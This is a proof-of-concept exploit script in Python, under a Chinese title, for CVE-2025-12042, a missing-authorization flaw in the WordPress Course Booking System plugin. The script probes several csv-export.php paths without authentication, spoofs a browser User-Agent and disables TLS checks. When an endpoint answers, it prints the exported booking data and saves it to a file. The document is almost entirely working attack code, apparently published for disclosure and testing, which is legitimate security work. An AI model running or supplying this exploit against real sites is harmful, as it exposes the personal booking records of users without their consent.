CVE-2025-12042 WordPress Course Booking System 未授权数据导出漏洞

#!/usr/bin/env python3 """ CVE-2025-12042 PoC - WordPress Course Booking System Unauthorized Data Export This PoC demonstrates the exploitation of missing authorization check in csv-export.php """ import requests import sys import argparse from datetime import datetime def exploit_cve_2025_12042(target_url): """ Exploit the missing authorization check in Course Booking System plugin to export all booking data without authentication """ print(f"[*] Starting exploitation of CVE-2025-12042") print(f"[*] Target: {target_url}") print(f"[*] Time: {datetime.now().isoformat()}") # Common paths for csv-export.php paths = [ "/wp-content/plugins/course-booking-system/csv-export.php", "/wp-content/plugins/course-booking-system/includes/csv-export.php", "/wp-content/plugins/course-booking/csv-export.php", "/csv-export.php" ] for path in paths: url = target_url.rstrip('/') + path print(f"\n[*] Trying path: {path}") try: # Send GET request without any authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' } response = requests.get(url, headers=headers, timeout=10, verify=False) # Check if the response contains CSV data if response.status_code == 200: content_type = response.headers.get('Content-Type', '') # Check if response looks like CSV data if 'csv' in content_type or 'text/csv' in content_type or \ ',' in response.text[:500]: print(f"[+] SUCCESS! Found vulnerable endpoint: {url}") print(f"[+] Response contains CSV data") print(f"[+] Content-Length: {len(response.text)} bytes") print(f"\n[+] First 1000 characters of exported data:") print(response.text[:1000]) # Save the exported data output_file = f"cve_2025_12042_export_{datetime.now().strftime('%Y%m%d_%H%M%S')}.csv" with open(output_file, 'w', encoding='utf-8') as f: f.write(response.text) print(f"[+] Full data saved to: {output_file}") return True elif 'booking' in response.text.lower() or 'course' in response.text.lower(): print(f"[+] Potential vulnerability confirmed at: {url}") print(f"[*] Response preview: {response.text[:500]}") return True else: print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") continue print("\n[-] No vulnerable endpoint found") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12042 PoC') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') args = parser.parse_args() # Disable SSL warnings for testing import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) exploit_cve_2025_12042(args.url)